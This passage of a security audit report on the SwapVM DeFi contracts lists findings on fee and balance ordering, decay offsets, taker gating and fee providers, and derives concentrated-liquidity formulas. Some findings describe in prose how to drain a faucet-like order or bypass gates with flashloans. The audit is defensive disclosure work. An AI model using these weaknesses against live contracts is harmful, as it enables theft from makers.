Description	Whenever a simple fee is taken via _flatFeeAmountInXD, the loop (VM) will run and ctx.swap.amountIn is only restored to the gross amount after execution. If the Balances instruction follows the Fee instruction while the Fee instruction uses _flatFeeAmountInXD, it will use the net amountIn value (which has previously been decreased within the fee logic) and adds this to balanceIn: *ctx.swap.amountIn -= feeAmountIn;* *ctx.runLoop();* ... *if (!ctx.vm.isStaticContext) {* *balances[ctx.query.orderHash][ctx.query.tokenIn] += swapAmountIn;* *balances[ctx.query.orderHash][ctx.query.tokenOut] -= swapAmountOut;* *}* This is incorrect for the simple fee as the fee is meant to be added to the reserves, which is simply not happening in the above explained scenario. For the protocol fee, the sequence of Fee → Balances would not expose a problem.
Recommendations	Consider adding proper documentation to ensure that there will never be orders with a _flatFeeAmountInXD → _dynamicBalancesXD instruction sequence will be set. Vice-versa is allowed.
Comments / Resolution	Resolved. Using _flatFeeAmountInXD instruction before _dynamicBalancesXD instruction is considered incorrect strategy configuration. **Correct instruction ordering is now documented** in README.md canonical ordering section.

Issue_34	Balances may incorporate gross amountIn when protocol fee is applied
Severity	**High**
Description	In another issue, we have highlighted an edge-case in the Fee → Balances sequence whenever _flatFeeAmountInXD is invoked, as the balance will be increased by the net amountIn while the flat fee keeps fee in reserves. Likewise, an issue exists for Balances → Fee sequence if _protocolFeeAmountInXD is used as it will now return the gross amountIn after the fee sequence: *ctx.swap.amountIn -= feeAmountIn;* *ctx.runLoop();* *ctx.swap.amountIn = takerDefinedAmountIn;* Which then means that the dynamic balances are increased with gross amountIn, while the protocol fee is effectively transferred out: *balances[ctx.query.orderHash][ctx.query.tokenIn] += swapAmountIn;* This will effectively overstate the balance and falsify future swaps. It is specifically remarkable to highlight that the correctness of protocol fee application requires a vice-versa sequence of the flat fee application.
Recommendations	Consider making sure in case _protocolFeeAmountInXD is triggered that the Balances instruction only ever happens after the Fee instruction.
Comments / Resolution	Resolved. Using instructions in incorrect sequence is considered incorrect strategy configuration. **Correct instruction ordering is now documented** in README.md canonical ordering section.

Issue_35	Re-initialisation of balances is possible in case allowZeroAmountIn is set to true
Severity	**Medium**
Description	The _dynamicBalancesXD function initialises the token balances in case the balance of all the tokens corresponding to the orderHash has zero balance. This is based on the assumption that it corresponds to an order that has never been initialised before. But in case the order has allowZeroAmountIn set to true, it is possible that the state of all token balances being 0 can reach even after the order has been initialised once. If this happens, the maker will end up allocating more tokens to the order than intended *function _dynamicBalancesXD(Context memory ctx, bytes calldata args) internal {* *(uint256 tokensCount, bytes calldata tokens, bytes calldata initialBalances) = BalancesArgsBuilder.parse(args);* *if (!_loadBalances(ctx, tokensCount, tokens)) {* *_initBalances(ctx, tokensCount, tokens, initialBalances);* *}* While it would be unusual to the point of impossibility to construct a strategy intended to *market make* that would reach this state, SwapVM's architecture is sufficiently flexible to admit other uses. Indeed some of the functions in Controls suggest potential applications outside of swapping. For example, one could construct a faucet gated by ownership of an NFT, or the functionality from Extruction could be used for a more complex rewards programme (e.g. points). This attack must be combined with setting the MakerTrait allowZeroAmountIn, which would be the intended construction for something like a faucet, airdrop, or points programme. This attack results in draining the maker's assets, for example if balances are reinitialized, due to balanceIn = 0 (default) and balanceOut = 0 (consumption of full expected funds), now the

	reinitialization will set balanceOut to the initial value which then further allows for consuming funds in a faucet-like fashion. Due to the low likelihood and high impact, we have rated this issue as Medium severity.
Recommendations	Consider detecting whether the balances have been initialised using some other mechanism, like an init flag variable
Comments / Resolution	Resolved. It has to be noted that the XD functionality will not be used within this release. While the said function still remains in the code, it is expected that this will not be used by users.

Issue_36	_loadBalances can have hasNonZeroBalances = true even if tokenIn and tokenOut are zero
Severity	**Low**
Description	The _loadBalances function loops over all tokens which are tied to a strategy. If there are three tokens and tokenIn/tokenOut have a zero balance, while the third token does not have a zero balance (but this token is actually not used within this swapping context), it will return hasNonZeroBalances, which is incorrect for this swap state. This can produce unexpected side-effects.
Recommendations	Consider validating that actually tokenIn and tokenOut do not have a zero balance.
Comments / Resolution	Acknowledged.

Issue_37	BalancesArgsBuilder.build consumes quartic gas and should not be called on-chain
Severity	**Low**
Description	Allocating memory on the EVM consumes (asymptotically) gas quadratic in the size of the allocated region. Solidity does not de-/re-allocate memory. The line: *packed = abi.encodePacked(packed, tokens[i]);* in BalancesArgsBuilder.build repeatedly copies the object packed into memory, consuming quadratic memory. The gas cost of consuming quadratically-much memory is quartic in tokens.length. This function should not be called on-chain to avoid the risk of out-of-gas DoS.
Recommendations	Consider documenting this limitation.
Comments / Resolution	Acknowledged.

Issue_38	BalancesArgsBuilder.build does not check for fewer than 2 tokens. These are rejected by all opcodes in the file.
Severity	**Informational**
Description	Both Balances._staticBalancesXD and Balances._dynamicBalancesXD, check that both ctx.query.tokenIn and ctx.query.tokenOut are found in the maker args of the opcode. This requires that there are at least 2 distinct tokens present in those args. BalancesArgsBuilder.build does not check that there are at least 2 distinct tokens supplied.
Recommendations	In BalancesArgsBuilder.build, require that tokens.length is at least 2 and that the elements of tokens are in sorted order. Alternatively acknowledge this finding and document the limitation.
Comments / Resolution	Acknowledged.

Controls

The Controls contract is the control-flow and gating instruction set used inside SwapVM programs. It exists to let a maker's program (the opcode stream embedded in an order) do two things that the pricing instructions alone cannot:

- steer execution by manipulating the VM program counter (nextPC)
- enforce preconditions on the taker and on time (deadline)

so that pricing and settlement only proceed when the current execution context matches the maker's constraints.

Appendix: Program Counter Control

Controls implements control flow by directly editing ctx.vm.nextPC.

A jump overwrites nextPC with a uint16 byte offset that the VM loop will use as the next instruction pointer. Because the VM loop uses nextPC as authoritative, this is an unconditional redirect.

A conditional jump compares the runtime ctx.query.tokenIn or ctx.query.tokenOut to an embedded token address, and only overwrites nextPC when the comparison succeeds. When it fails, the instruction leaves nextPC unchanged, so the VM naturally proceeds to the next sequential instruction (the VM sets nextPC to the end of the current instruction before calling the opcode).

A notable consequence of the VM loop structure is that setting nextPC past the end of the program causes execution to stop (the loop condition pc < programLength fails). This makes jumps usable both for branching and for early termination, entirely through PC manipulation.

Appendix: Deadline and taker eligibility

Controls provides three eligibility mechanisms that halt execution by reverting:

- Deadline gate: The program encodes a uint40 deadline. Execution reverts if block.timestamp is greater than the deadline. This gate is agnostic to quoting vs swapping: it blocks both, because it relies only on time and the read-only ctx.query.

- Token balance gates: The program encodes a token address and checks the taker's balanceOf(taker):
    - non-zero balance requirement
    - balance ≥ minimum amount.

These checks depend on the token implementing balanceOf(address) and returning a meaningful value.

- Token supply share gate: The program encodes a token and a minimum share minShareE18 (scaled by 1e18), then checks:
    - totalSupply > 0 and balance * 1e18 >= minShareE18 * totalSupply

This gate depends on both balanceOf and totalSupply, and it defines the share threshold as a fraction of total supply, rather than an absolute token amount.

All of these gates are designed as *program-level constraints*: they do not change swap amounts, they simply determine whether the program is allowed to proceed to later pricing/fee/transfer logic.

Appendix: Salt and order uniqueness

The _salt instruction is deliberately implemented as a no-op, so it cannot change balances, amounts, or control flow. Its value is that it still occupies bytes in the program stream (including its argument bytes), and therefore can be used to make two otherwise equivalent programs distinct at the byte level.

Within the SwapVM system, where the maker's order data includes the program bytes, embedding a salt instruction allows makers to create multiple distinct orders that behave identically at runtime while still producing different program encodings.

Privileged Functions

- none

Issue_39	_onlyTakerTokenBalanceNonZero does not natively support ERC1155
Severity	**Low**
Description	The comment among the _onlyTakerTokenBalanceNonZero function indicates that NFTs are natively supported: *(NFTs are natively supported)* This is true for ERC721. However, it is not true for ERC1155, as the balanceOf implementation for this type is different: *function balanceOf(address account, uint256 id) public view virtual returns (uint256) {* *return _balances[id][account];* *}*
Recommendations	Consider implementing a separate function if it is intended to support ERC1155.
Comments / Resolution	Acknowledged.

Issue_40	_onlyTakerTokenBalances can be bypassed
Severity	Low
Description	One potential swap limitation is the _onlyTakerTokenBalanceGte/nonZero mechanism which ensures that the taker address owns a specified amount of tokens. While this simply does not work for routers/aggregators as these do not hold any tokens, it can also be trivially bypassed if there is a flashloan feature on any protocol for the requested token (or via simple swaps).
Recommendations	Consider keeping this in mind.
Comments / Resolution	Acknowledged.

Issue_41	_onlyTakerTokenSupplyShareGte can be manipulated via sandwich-execution
Severity	Low
Description	The _onlyTakerTokenSupplyShareGte function only allows for a swap to pass if the taker owns a specific percentage of the total supply from a token. This can be simply bypassed in the case of an ERC4626 token or tokens that can be flash minted (e.g. DAI), as the taker can simply mint and burn tokens around this check to satisfy the condition.
Recommendations	Consider acknowledging this issue, there is no fix with the current design.
Comments / Resolution	Acknowledged.

Issue_42	TakerTokenBalanceIsZero error definition is incorrect
Severity	**Low**
Description	The TakerTokenBalanceIsZero error is supposed to emit the address of the taker as the first parameter. But the error definition incorrectly has maker as the first parameter *error TakerTokenBalanceIsZero(address maker, address token);*
Recommendations	Consider using taker as the first parameter.
Comments / Resolution	Resolved.

Issue_43	TakerTokenBalanceIsLessThatRequired and TakerTokenBalanceSupplyShareIsLessThatRequired have typos
Severity	**Informational**
Description	TakerTokenBalanceIsLessThatRequired and TakerTokenBalanceSupplyShareIsLessThatRequired have typos
Recommendations	Rename these errors
Comments / Resolution	Resolved.

Decay

The Decay contract is a stateful SwapVM instruction module that makes a maker's swap curve depend on recent flow, by keeping per-order, per-token "offsets" that linearly decay to zero over time and are applied to the VM's in-memory pricing balances right before the rest of the swap program computes amountIn/amountOut.

It exists as a balance-shaping primitive: it does not price swaps by itself, does not move tokens, and does not authenticate orders; instead it mutates ctx.swap.balanceIn/balanceOut and updates its own offset storage keyed by orderHash.

The key goal behind this implementation is to prevent MEV executions, such as back running swaps for a quick profit.

Privileged Functions

- none

Issue_44	DoS of Decay → Fee via _protocolFeeAmountInXD overspecifies offset and results in DoS
Severity	**Medium**
Description	Whenever the Decay → Fee instruction is used with _protocolFeeAmountInXD, it will over specify the offset because offset is calculated using the gross amountIn: *ctx.runLoop();* *ctx.swap.amountIn = takerDefinedAmountIn;* While at the same time, the protocol fee will not become part of the reserves and thus this inconsistency can result in incorrect future pricing + potential DoS due to underflow when the overspecified offset is deducted from the balance.
Recommendations	Consider making sure that in case of protocol fee + decay, the fee is applied before the decay is calculated.
Comments / Resolution	Resolved. **The README.md file now documents expected sequences.**

Issue_45	Decay timer resets on each invocation, extending the lifetime of remaining offset
Severity	**Medium**
Description	The remaining offset always gets extended in expiry by decayPeriod for each swap irrespective of the swap amount. Hence this allows an user to control the lag of the AMM by making dust swaps. - **No updates:** - Period P = 100 seconds - Initial offset O = 100 at time t=0 - At t=50: getOffset = 50 - At t=100: getOffset = 0 - **Two updates:** - update once at t=50 with newOffset = 0 - stored offset becomes 50, timestamp becomes 50 - At t=100 (50 seconds later): getOffset = 50 * (100-50)/100 = 25 If one would update every 10 seconds with newOffset = 0, the remaining after 100 seconds is 34.9
Recommendations	Consider either accepting this limitation or implementing a different decay mechanism (e.g. exponential decay).
Comments / Resolution	Acknowledged.

Issue_46	Fee → Decay instruction for _flatFeeAmountInXD calculates offset based on net amountIn
Severity	**Medium**
Description	Whenever the Fee → Decay instruction with _flatFeeAmountInXD is used, it will forward ctx.swap.amountIn as net amountIn: *ctx.swap.amountIn -= feeAmountIn;* *ctx.runLoop();* However, for _flatFeeAmountInXD, the fee is expected to stay in the reserves. This exposes an inconsistency with the Decay application, as now the offset is being calculated with the net amountIn: *_offsets[ctx.query.orderHash][ctx.query.tokenIn][false].addOffset(swapAmountIn, period);* This means that the offset will be understated and does not have the full impact for future swaps in the reverse direction.
Recommendations	Consider adding NATSPEC towards the _decayXD function which highlights the side-effect that the offset calculation based on amountIn may not reflect the gross input amount.
Comments / Resolution	Resolved. **The README.md file now documents expected sequences.**

Issue_47	Offset application can result in a revert during edge-cases
Severity	**Medium**
Description	The offset application has multiple edge-cases where reverts can occur despite normal expected execution paths. Static balance usage: - Swap 1 (t=0): A→B, amountIn=500. offset[A][false] = 500 - Swap 2 (t=0): A→B, amountIn=400. offset[A][false] = 500 + 400 = 900 - Swap 3 (t=0): A→B, amountIn=200. offset[A][false] = 900 + 200 = 1100 - Now a reverse swap B→A: - balanceOut(A) = 1000 (static, always resets) - balanceOut(A) -= offset[A][false] = 1000 - 1100 → UNDERFLOW, revert Furthermore, whenever Concentrated → Decay → Swap is triggered into this sequence, it will store the decay based on the previous amountIn while the future liquidity may have decreased post-swap which then can result in balance which is smaller than previous offset and a revert.
Recommendations	Consider ensuring that these above sequences are not used in practice.
Comments / Resolution	Resolved. **The README.md file now documents expected sequences.**

Issue_48	Decay combined with multi token setup may revert in edge-cases
Severity	**Medium**
Description	The decay mechanism lacks robustness in several edge-cases related to the multi token system: - A program consists of tokens A, B, C - jump for tokenIn = C and tokenOut = C - A → B swap is executed, offset for A is calculated - Decrease the real A balance via a non-decayed swap C → A (due to jump for C, no decay is enforced) - Due to that, we may arrive in a state where offset > balance and if we apply a B → A swap it will attempt to deduct offset from balance which can revert Notably, this can still be considered as a valid, reasonable program.
Recommendations	There is no simple fix for that edge-case, makers must be educated about such a potential issue when applying decay for multi-token programs.
Comments / Resolution	Resolved, multi token strategies will not be part of this release.

Issue_49	DecayingOffsetLib._store relies incorrectly on the upper bits of offset being clear
Severity	**Low**
Description	Solidity's assembly discipline does not guarantee that values on the stack of types smaller than an entire word have their unused (padding) bits cleared https://docs.soliditylang.org/en/latest/internals/variable_cleanup.html It is the responsibility of the programmer when moving values from the stack into storage, transient storage, or memory to clear those bits.
Recommendations	Clear the upper bits of offset by masking using the AND opcode before writing the resulting OR'd word to storage
Comments / Resolution	Acknowledged.

Issue_50	Unused variable(s)
Severity	**Informational**
Description	The contract contains one or more variables which are completely unused. This will increase contract size for no reason and can confuse third-party reviewers. *error DecayApplySwapAmountsRequiresAmountsToBeComputed(uint256 amountIn, uint256 amountOut);*
Recommendations	Consider removing or using any unused variable(s)
Comments / Resolution	Resolved.

Extruction

The Extruction contract can become part of a program as instruction and it executes an external call to the given target address, potentially modifying the following values:

- ctx.vm.nextPc
- choppedLength
- ctx.swap

It essentially allows the maker to customize order execution and implements a customized pricing mechanism and other custom logic.

Privileged Functions

- none

Issue_51	Extruction allows maker to fully alter swap state
Severity	**Informational**
Description	The extruction call modifies ctx.swap fully at the discretion of the maker's specified logic, which can produce unexpected swap outcomes.
Recommendations	This issue is only informational due to the fact that a slippage check is existing after the swap has happened and the taker can thus prevent any loss from swaps.
Comments / Resolution	Acknowledged.

Fee

The Fee contract is a SwapVM instruction module that charges an amount-in denominated fee (in tokenIn) by wrapping the rest of a maker's SwapVM program, letting that program compute swap amounts, and then adjusting the in-memory swap registers so the taker experiences the fee as either reduced output (exact-in) or increased required input (exact-out).

Depending on which fee variant the maker program uses, the module can either leave the fee value implicitly with the maker, which will flow into the virtual reserves or explicitly route a tokenIn payment to a fee recipient via a direct ERC-20 pull from the maker or via an Aqua pull.

Appendix: Fee Types

This instruction exposes five different fee types. Within this appendix, we will elaborate each fee type

1. _flatFeeAmountInXD
    a. Depending on the swap direction, the fee is either taken via directly decreasing the input amount or applied on top of the input amount for the desired output amount. This fee is meant to stay within the reserves of the program.

2. _protocolFeeAmountInXD
    a. Depending on the swap direction, the fee is either taken via directly decreasing the input amount or applied on top of the input amount for the desired output amount. The fee amount is taken from the maker and transferred to the recipient, via a simple transferFrom

3. _aquaProtocolFeeAmountInXD
    a. Depending on the swap direction, the fee is either taken via directly decreasing the input amount or applied on top of the input amount for the desired output amount. The fee amount is taken from the maker and transferred to the recipient, via a AQUA.pull

4. _dynamicProtocolFeeAmountInXD
    a. Depending on the swap direction, the fee is either taken via directly decreasing the input amount or applied on top of the input amount for the desired output amount. The fee amount is taken from the maker and transferred to the recipient, via a simple transferFrom. The fee is dynamic and based on the return value of the staticcall to the feeProvider address.

5. _aquaDynamicProtocolFeeAmountInXD
    a. Depending on the swap direction, the fee is either taken via directly decreasing the input amount or applied on top of the input amount for the desired output amount. The fee amount is taken from the maker and transferred to the recipient, via AQUA.pull. The fee is dynamic and based on the return value of the staticcall to the feeProvider address.

Privileged Functions

- none

Core Invariants:

INV 1: feeProvider calls must be staticcall'd

INV 2: isExactIn must restore gross amountIn after loop

INV 3: isExactOut must apply fee on top of amountIn

Issue_52	Protocol fees paid via AQUA + taker push scenario can cause swaps to fail
Severity	**Medium**
Description	When (useAquaInsteadOfSignature && !useTransferFromAndAquaPush) is true, the SwapVM contract requires that the maker's AQUA balance has increased by at least ctx.swap.amountIn under the assumption that a transfer of ctx.swap.amountIn will cause this increase *(uint256 balanceIn,) = AQUA.rawBalances(order.maker, address(this), ctx.query.orderHash, ctx.query.tokenIn);* *require(balanceIn >= originalAquaBalanceIn + ctx.swap.amountIn,* *AquaBalanceInsufficientAfterTakerPush(balanceIn, originalAquaBalanceIn, ctx.swap.amountIn));* But in case the program uses any protocol fee instruction that is paid out via AQUA this condition won't be met since the fee will be deducted from the maker's balance: - balanceInBegin = 1000 - final ctx.swap.amountIn (gross) A = 100 - program includes an input-side protocol fee opcode that executes during ctx.runLoop() - 10 (protocol fee in tokenIn) - Then during runLoop the maker's tokenIn balance becomes: - 1000 → 990 so Δ = -10 - Taker pushes only A = 100 - Balance at check: • Bcurrent = 1000 - 10 + 100 = 1090 The problem here is that the taker should indeed only transfer 100 in, as the output amount is calculated on 90 so he needs to provide 100 but it expects to be 110 which would be wrong.

	This issue illustrated in the exactOut scenario: - Baseline pricing (without fee extraction) computes net required input netIn = 100 - Fee rate results in F = 11 (from _feeAmountIn exact-out: fee = netIn * feeBps / (BPS - feeBps) with integer rounding) - Fee wrapper sets final ctx.swap.amountIn to gross = 111 - During program execution, the protocol fee opcode (with AQUA) pulls F = 11 from maker's tokenIn - BalanceIn = 89 - 89 >= 100 + 111 The taker is required to provide 122, instead of 111, even if the taker would have provided 111, that would not be enough because the mechanism adds a fee on top of swap.amountIn and the above check then again adds the fee.
Recommendations	Either document against the above combination of flags or account for the fee decrease when making the check.
Comments / Resolution	Resolved. Now the pulled amount from maker is reduced from the expected balance

Issue_53	Protocol fee taken from maker can result in swap revert due to lack of balance pre-swap
Severity	**Medium**
Description	Whenever _aqua(Dynamic)ProtocolFeeAmount is triggered, it will transfer the required fee amount (input) from the maker. While this semantically does not result in a problem in happy paths, it can trivially revert if the maker does not have sufficient funds to cover the transfer. This is indeed a problem because the transfer happens before the maker actually receives the input amount, which means it is a reachable condition under normal swap executions, while the accounting invariant for reserves is still intact. This is also true for the non-AQUA variant.
Recommendations	Consider taking the protocol fee always from the taker.
Comments / Resolution	Acknowledged.

Issue_54	Zero amount transfers for _protocolFee are not gracefully handled
Severity	**Low**
Description	The _protocolFee instructions attempt to transfer tokens even if the fee amount is 0. Some tokens revert on 0 value transfers and since it is pointless, it is recommended to avoid transfers when the value is 0 *function _protocolFeeAmountInXD(Context memory ctx, bytes calldata args) internal {* *(uint256 feeBps, address to) = FeeArgsBuilder.parseProtocolFee(args);* *uint256 feeAmountIn = _feeAmountIn(ctx, feeBps);* *if (!ctx.vm.isStaticContext) {* *IERC20(ctx.query.tokenIn).safeTransferFrom(ctx.query.maker, to, feeAmountIn);* This can result in a DoS of swaps.
Recommendations	Consider only transferring tokens if the amount is > 0.
Comments / Resolution	Resolved. It has to be noted that in the static fee case, this is not checked. However, it is expected that feeBPS != 0 in the static fee case.

Issue_55	feeProvider threat model is unclear in Fee._dynamicProtocolFeeAmountInXD
Severity	**Low**
Description	There appears to have been some attempts at mitigating the potential damage that could be done by a malicious feeProvider in _dynamicProtocolFeeAmountInXD. However, this mitigation is incomplete and allows a malicious feeProvider to DoS the strategy. In particular, feeProvider.getFeeBpsAndRecipient(...) is still called with all available gas (out-of-gas DoS possibility), all returndata is copied into memory without regard to the size of the expected return variables (memory expansion out-of-gas DoS possibility), the returndata from the call is abi.decode'd (dirty returndata bits revert DoS), feeBps > BPS causes a revert, and to == address(0) causes a revert. If feeProvider is considered trusted by the maker, then none of the mitigations attempted in the code block: *(bool success, bytes memory result) = feeProvider.staticcall(abi.encodeCall(IProtocolFeeProvider.getFeeBpsAndRecipient, (ctx.query.orderHash, ctx.query.maker, ctx.query.taker, ctx.query.tokenIn, ctx.query.tokenOut, ctx.query.isExactIn)));* *require(success, FeeProtocolProviderFailedCall());* *(feeBps, to) = abi.decode(result, (uint32, address));* *require(feeBps <= BPS, FeeBpsOutOfRange(feeBps));* are necessary for correctness.
Recommendations	Consider one of the following:

	1. Rewrite the existing mitigations to: *(feeBps, to) = feeProvider.getFeeBpsAndRecipient(...);* and document that feeProvider is trusted by the maker 2. Avoid the use of require and abi.decode in favor of techniques that silently mask/skip invalid returndata; apply techniques from https://github.com/nomad-xyz/ExcessivelySafeCall to avoid returndata out-of-gas DoS; and apply techniques from https://ronan.eth.limo/blog/ethereum-gas-dangers/#workaround-against-insuficient-gas-griefing-attack (does not apply exactly the same way on MegaETH due to EIP-150 changes) to avoid insufficient gas griefing attacks when capping the amount of gas forwarded to avoid out-of-gas DoS
Comments / Resolution	Acknowledged.

Issue_56	Lack of explicit validation for feeBPS <= BPS during static fee mechanism
Severity	**Informational**
Description	The static fee calculation mechanism has no explicit validation such that feeBPS <= BPS (unlike dynamic fee mechanism). While indeed, this is hardcoded via the opcode parameters, it would still be more accurate to revert specifically in such a case.
Recommendations	Consider implementing such validation.
Comments / Resolution	Acknowledged.

Issue_57	Fees are rounded in favor of the taker
Severity	**Informational**
Description	Currently, fees are calculated via simple arithmetic operation which is subject to truncation. This is especially important if the input amount is small and the feeBPS is small as well, as it will then truncate related digits, which allows takers to (partially) bypass the fee.
Recommendations	Since this is the common pattern for DEXes, we do not recommend a change. This issue should be acknowledged.
Comments / Resolution	Partially resolved. _flatFeeAmountInXD instruction now rounds up fees against the taker while the other instructions still favors the taker.

Issue_58	The name of the constant BPS is misleading
Severity	**Informational**
Description	"bps" is commonly used to abbreviate "basis points", which is typically one part in ten thousand (10000). The constant BPS is one billion (1000000000). This may be misleading to integrators.
Recommendations	Change the value of the constant (to 10000), change the name of the constant (to PPB), or acknowledge this finding.
Comments / Resolution	Acknowledged.

XYCSwap

The XYCSwap contract is the “pricing instruction” module used by SwapVM programs to turn the VM’s current swap registers into a concrete constant-product quote: given a tokenIn/tokenOut pair, a direction flag (isExactIn), and a pair of pricing balances (balanceIn/balanceOut), it computes the missing leg of the trade (amountOut for exact-in, or amountIn for exact-out).

In the broader system, XYCSwap is invoked indirectly when a taker calls SwapVM.quote() or SwapVM.swap() and the maker-provided program (the opcode stream inside the order data) reaches the XYCSwap opcode. All balance sourcing, balance shaping, fee application, decay, hooks/callbacks, and token movement happen outside of XYCSwap itself, either in earlier VM instructions (e.g., balance loaders / concentrators / fees) or in SwapVM’s post-execution transfer phase.

Appendix: Constant Product

XYCSwap implements the canonical $x \cdot y = k$ pricing rule over the VM’s *current* pricing balances. The instruction exists so that maker programs can compose reserve sourcing and reserve shaping (balances, concentration, decay, fees) and then finalize the trade price at the point where the program decides the reserves are ready.

Privileged Functions

- none

No issues found.

XYCConcentrate

Note: The mathematical formulas referenced in this section have since been superseded. The XYCConcentrate instruction (see Pull request 82) in SwapVM has been reimplemented with an updated set of formulas. The observations in this issue apply to the legacy implementation only.

Appendix: XYCConcentrate

Background

Constant-product AMMs are defined by the simple equation

$$x \cdot y = k$$

where x and y are the reserves of their respective tokens (conventionally, x is the reserve of the token with the lexicographically lower address) and k is the bonding-curve invariant. From this equation, we can define liquidity and price as the following pair of equations:

$$L = \sqrt{(x \cdot y)}$$

$$P = \frac{y}{x}$$

where x and y are now ***virtual*** reserves of the underlying tokens, and L and P are liquidity and spot price, respectively. By fixing L and P instead of x and y, we can obtain concentrated liquidity (greater capital efficiency). From these equations, we obtain the following expressions for swapping:

$$\Delta y = \Delta\sqrt{P} \cdot L$$

$$\Delta x = \Delta\frac{1}{\sqrt{P}} \cdot L = \frac{-\Delta\sqrt{P}}{\sqrt{P_0 \cdot P_1}} \cdot L$$

Note that Δx and Δy are signed quantities. The repetition of sqrt(P) in these expressions is why most concentrated-liquidity constant-product AMMs track sqrt(P) instead of P itself. Also note that these expressions conveniently relate token deltas proportionally to liquidity, and to a simple arithmetic delta in sqrt(P).

A concentrated-liquidity position is constructed by adding virtual reserve offsets (δ_x and δ_y) to the real reserves (b_x and b_y) such that $x = \delta_x + b_x$ and $y = \delta_y + b_y$. These virtual reserve offsets are chosen so that, when the price crosses some defined lower price threshold (P_{lo}), the position is composed entirely of x ($b_y = 0$), and symmetrically, at some defined upper price threshold (P_{hi}), the position is composed entirely of y ($b_x = 0$).

Construction

In typical implementations, P_{lo}, P_{hi}, and L are set explicitly; b_x and b_y are derived from those quantities (sometimes given the prevailing spot price of the pool); and x, y, δ_x, and δ_y are never materialised.

SwapVM Implementation

Strategy Construction

Schema

The function XYCConcentrateArgsBuilder.computeDeltas takes 5 arguments:

- balanceA - this is b_x from above
- balanceB - this is b_y from above
- price - we introduce a new quantity P_{spot}
- priceMin - this is P_{lo} from above
- priceMax - this is P_{hi} from above

and returns:

1. deltaA - this is δ_x from above
2. deltaB - this is δ_y from above
3. liquidity - this is L from above

Ignoring, for a moment, the actual implementation, this input–output relation is highly unorthodox. Furthermore, this system is over-constrained, assuming that the maker's desire is to deploy *exactly* both balances as active liquidity over the defined price region. In order to solve for L (a single value of L denoting the liquidity from P_{lo} to P_{hi}), you can set no more than 4 of the 5 input variables. By setting all 5, we invite the scenario where, in order to satisfy the constraint that the position ranges from P_{lo} to P_{hi} (that is, that it runs out of either x or y outside of that range), has a current spot price of P_{spot}, and is composed of exactly b_x and b_y real reserves, it is not possible to set a single constant value of L across the entire range.

To put this another way, P_{lo}, P_{hi}, and L completely define the entire state curve. Given the current P_{spot}, the required real balances (b_x and b_y) are determined. Equivalently, given b_x, b_y, P_{lo}, and P_{hi}, there is a unique implied P_{spot} and L. Taking all 5 input values over-specifies the system; there must either be slack, or a relaxation of one of the constraints.

Maths

Now we ignore the problem that the schema is over-constrained by dropping the price parameter. In order to construct a position composed of exactly b_x and b_y and ranging from P_{lo} to P_{hi}, we solve the following system of equations for P_{spot} (which is now a ***return*** parameter from the system) and L:

$$b_y = L \cdot \left(\sqrt{P_{spot}} - \sqrt{P_{lo}}\right)$$

$$b_x = L \cdot \left(\frac{1}{\sqrt{P_{spot}}} - \frac{1}{\sqrt{P_{hi}}}\right)$$

Solving for P_{spot} in the range $[P_{lo}, P_{hi}]$ gives:

$$P_{spot} = \left(\frac{2 \cdot b_y \cdot \sqrt{P_{hi}}}{\left(b_y - b_x \cdot \sqrt{P_{hi}P_{lo}}\right) + \sqrt{\left(b_y - b_x \cdot \sqrt{P_{hi}P_{lo}}\right)^2 + 4 \cdot b_x \cdot b_y \cdot P_{hi}}}\right)^2$$

$$P_{spot} = \left(\frac{2 \cdot \frac{b_y}{b_x} \cdot \sqrt{P_{hi}}}{\left(\frac{b_y}{b_x} - \sqrt{P_{hi}P_{lo}}\right) + \sqrt{\left(\frac{b_y}{b_x} - \sqrt{P_{hi}P_{lo}}\right)^2 + 4 \cdot \frac{b_y}{b_x} \cdot P_{hi}}}\right)^2$$

$$L = \frac{b_y}{\sqrt{P_{spot}} - \sqrt{P_{lo}}} = \frac{b_x \cdot \sqrt{P_{hi} \cdot P_{spot}}}{\sqrt{P_{hi}} - \sqrt{P_{spot}}}$$

Note the boundary conditions here: $b_y = 0$ implies $P_{spot} = P_{lo}$; $b_x = 0$ implies $P_{spot} = P_{hi}$; and $b_x = b_y = 0$ is degenerate.

P_{spot} is really more of an advisory term. During construction, it can be used to check that initial values for b_x (balanceA) and b_y (balanceB) imply the price expected by the maker. The value L is the more important one.

Differences

As you can see, the formula here for L is quite radically different from the one given in computeDeltas. It is difficult to interpret the intended functionality of the implementation as given. In a private discussion with the team, we asked:

> what is XYCConcentrate supposed to implement? at a high level

Team response:

> It's Uniswap V3 concentration analogue with fee reinvest feature

Follow-up question:

> just to make sure we're on the same page, the idea is that it concentrates the liquidity between priceMin and priceMax in conjunction with XYCSwap? If the price of the underlying constant-product AMM goes beyond priceMin or priceMax, you're expecting the strategy to run out of capital? the only real difference is that there's a single active tick range and fees are autocompounded?

Team response:

> Exactly! So, outside of priceMin and priceMax range the balance of one token is equal 0 naturally by design.

Therefore, we conclude that the intended implementation is the one detailed above, and that the version in the audit snapshot is something else entirely. The recommendation is to discard the implementation in the audit snapshot and re-implement it, observing the principles detailed here. At the very least, the implementation should avoid over-constraining the problem during construction, and it should broadly reflect the principles of concentrated-liquidity constant-product AMMs; namely, that balance deltas are proportional to arithmetic (not geometric) differences in square roots of prices.

Execution

Given that XYCConcentrate is intended to operate as a concentrated-liquidity constant-product AMM, the derivation above for L given b_x, b_y, P_{lo}, and P_{hi} is directly applicable. L should not be stored (as it is in the current implementation) but instead recomputed on each swap. This is especially important for strategies with three or more tokens under management, as swaps in the A↔B direction necessarily affect the B↔C price as the real reserve of B changes. As previously stated, the typical implementation of swapping on a concentrated-liquidity constant-product AMM does not materialise x, y, δ_x, or δ_y. This implies that the conventional way to implement this is at odds with the documented intention to compose XYCConcentrate with XYCSwap to obtain the full AMM.

Conventional

If the team is prepared to give up the desire to obtain the full AMM by composition of XYCConcentrate with XYCSwap, then the swap function is obtained directly from L and P_{spot} from the formula above. If the obtained delta exceeds the real reserves of the strategy, clamp it.

Composition

The virtual reserves (the values to pass to a subsequent XYCSwap opcode) are given by the following formulas:

$$x = \frac{L}{\sqrt{P_{spot}}} = b_x + \delta_x = b_x + \frac{L}{\sqrt{P_{hi}}}$$

$$y = L \cdot \sqrt{P_{spot}} = b_y + \delta_y = b_y + L \cdot \sqrt{P_{lo}}$$

Rounding

